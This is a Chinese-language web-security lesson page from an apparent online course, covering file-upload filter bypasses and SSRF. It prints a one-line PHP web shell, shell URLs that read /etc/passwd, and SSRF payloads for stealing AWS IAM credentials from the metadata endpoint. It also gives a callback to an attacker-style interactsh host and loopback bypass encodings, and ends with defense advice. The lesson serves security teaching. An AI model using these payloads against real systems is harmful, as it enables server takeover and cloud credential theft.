Cyber Security Academy · 课时

文件上传与 SSRF 漏洞

绕过文件上传限制,利用 SSRF 访问内部服务,并串联利用多个漏洞。

第 4 / 4 课13 个步骤

文件上传与 SSRF 漏洞 是 CoddyKit 上的免费 Cyber Security Academy 课时。 这是第 4 节课,共 4 节。 你可以在下方免费阅读本课时的完整内容 — 然后在浏览器中使用内置代码编辑器和全天候 AI 导师进行实践。 这是 Cyber Security Academy 学习路径的一部分,你的进度在网页和 CoddyKit 应用中同步。 Cyber Security Academy 课程共包含 4 节课。

文件上传漏洞

文件上传功能是 Web 应用中风险最高的功能之一。验证不足会允许上传可执行文件(PHP、JSP、ASPX),服务器随后会执行这些文件,从而导致远程代码执行。

基本上传绕过:扩展名过滤

客户端过滤和基于黑名单的扩展名过滤都可以被绕过。请尝试:双重扩展名(.php.jpg)、大小写变体(.PhP)、空字节(file.php%00.jpg)以及替代扩展名(.php5、.phtml、.phar)。

# Try alternative PHP extensions:
file.php
file.php5
file.phtml
file.phar
file.php.jpg
file.php%00.jpg
file.PhP

# ASP/ASPX alternatives:
file.asp
file.aspx
file.asa
file.cer

MIME 类型绕过

服务器通常会检查 Content-Type 标头,而不是文件的实际内容。在 Burp 中拦截上传请求,并将 Content-Type 从 application/x-php 改为 image/jpeg。

# In Burp Repeater, modify:
Content-Type: image/jpeg

# While keeping the file content as PHP:
<?php system($_GET["cmd"]); ?>

魔数绕过

某些服务器会检查文件魔数(文件的前几个字节)。在 PHP 载荷前添加有效的图像魔数字节,即可在保留可执行内容的同时通过检查。

# Prepend JPEG magic bytes:
\xFF\xD8\xFF + PHP payload

# Or add GIF header:
GIF89a
<?php system($_GET["cmd"]); ?>

上传后的 Web Shell

上传 PHP/JSP 文件并通过 URL 访问后,触发该文件即可执行命令。最简单的 Web Shell 是:

# Upload this as shell.php:
<?php system($_GET["cmd"]); ?>

# Access via browser:
http://target.com/uploads/shell.php?cmd=id
http://target.com/uploads/shell.php?cmd=whoami
http://target.com/uploads/shell.php?cmd=cat+/etc/passwd

什么是 SSRF?

服务器端请求伪造(SSRF)会诱使服务器代表攻击者向任意 URL 发出 HTTP 请求。这样可以访问内部服务、云元数据 API 和内部管理接口。

基本 SSRF 检测

查找接受 URL 的参数(网络钩子、预览 URL、获取端点、图像 URL)。注入内部地址并观察响应:超时、连接被拒绝和有效响应分别可以表明哪些资源可访问。

# Test URL parameters:
?url=http://127.0.0.1/
?url=http://169.254.169.254/  # AWS metadata
?url=http://internal-service:8080/admin

# Burp Collaborator for blind SSRF:
?url=http://your-collaborator-id.oastify.com/

通过 SSRF 访问 AWS 元数据 API

位于 169.254.169.254 的 AWS 实例元数据服务(IMDS)会暴露 IAM 角色凭据。向此端点发起 SSRF 可能会泄露云凭据,从而实现完整的账户接管。

# SSRF payload targeting AWS metadata:
?url=http://169.254.169.254/latest/meta-data/
?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/

# Returns:
# {"AccessKeyId":"ASIA...", "SecretAccessKey":"..."}

盲 SSRF

当响应正文不会反射结果时,请使用带外技术:向 Burp Collaborator 发起 DNS 查询可以确认连通性;带有路径数据的 HTTP 回调则可以外泄信息。

# Interactsh as alternative to Burp Collaborator:
# https://github.com/projectdiscovery/interactsh

?url=http://attacker.interactsh.com/ssrf-test

SSRF 绕过技术

可以使用以下方法绕过拦截明显内部 IP 的过滤器:IP 编码(十进制 0x7f000001 = 127.0.0.1)、DNS 重绑定、替代回环地址(127.1、0.0.0.0)以及 URL 重定向。

# Alternative representations of 127.0.0.1:
http://127.1
http://2130706433  # decimal
http://0x7f000001  # hex
http://0177.0.0.1  # octal
http://localhost

文件上传和 SSRF 防御

文件上传:仅允许安全扩展名,将文件存储在 Web 根目录之外,在服务器端重命名文件,并通过 CDN 提供文件。SSRF:允许的 URL/IP 范围使用白名单,禁用不必要的 URL 获取功能,并在 AWS 上强制使用 IMDSv2。

快速检查

SSRF 攻击会针对哪个 IP 来窃取 AWS 凭据?

总结:文件上传和 SSRF

文件上传缺陷会导致远程代码执行;SSRF 会导致访问内部网络并窃取凭据。请使用扩展名、MIME 类型和魔数字节绕过方法测试文件上传。请通过针对本地主机、内部子网和云元数据 API 来测试 URL 参数是否存在 SSRF。两者都需要深度防御:使用白名单而非黑名单、进行网络分段并强化云环境安全。

免费开始

用 AI 导师学习 Cyber Security Academy — 免费

在浏览器中编写并运行真实代码,获得全天候 AI 导师的即时帮助,并在网页或应用中继续学习。

课程
76
课程
303

常见问题解答

「文件上传与 SSRF 漏洞」课时是免费的吗?

是的 — 「文件上传与 SSRF 漏洞」的完整文本可在网页上免费阅读。要进行交互式练习(内置代码编辑器和全天候 AI 导师)并解锁 Cyber Security Academy 课程的其余内容,请升级到 CoddyKit PRO。 Cyber Security Academy 课程共包含 4 节课。

「文件上传与 SSRF 漏洞」这节课中我会学到什么?

绕过文件上传限制,利用 SSRF 访问内部服务,并串联利用多个漏洞。 你通过在浏览器中直接运行的动手代码来练习 Cyber Security Academy,全天候 AI 导师会在你学习这节课的过程中回答你的问题。

学习 Cyber Security Academy 需要有经验吗?

无需任何先前经验。CoddyKit 上的 Cyber Security Academy 课程适合初学者到高级学习者,你可以从这里开始或从头开始,按照自己的节奏学习。 这是第 4 节课,共 4 节。

「文件上传与 SSRF 漏洞」课时需要多长时间?

大多数 CoddyKit 课程大约需要 5–10 分钟。每节课都很精短且互动,所以你能稳步进步,并在网页和应用中从离开的地方继续。

我能在这节 Cyber Security Academy 课中编写并运行代码吗?

能。每节 Cyber Security Academy 课都包含内置代码编辑器,你可以在浏览器中直接编写并运行真实代码,并获得即时 AI 反馈 — 无需本地设置。

此课程中的所有课时

  1. Burp Suite 代理与请求拦截
  2. 测试注入漏洞
  3. 身份验证与会话测试
  4. 文件上传与 SSRF 漏洞
← 返回 Cyber Security Academy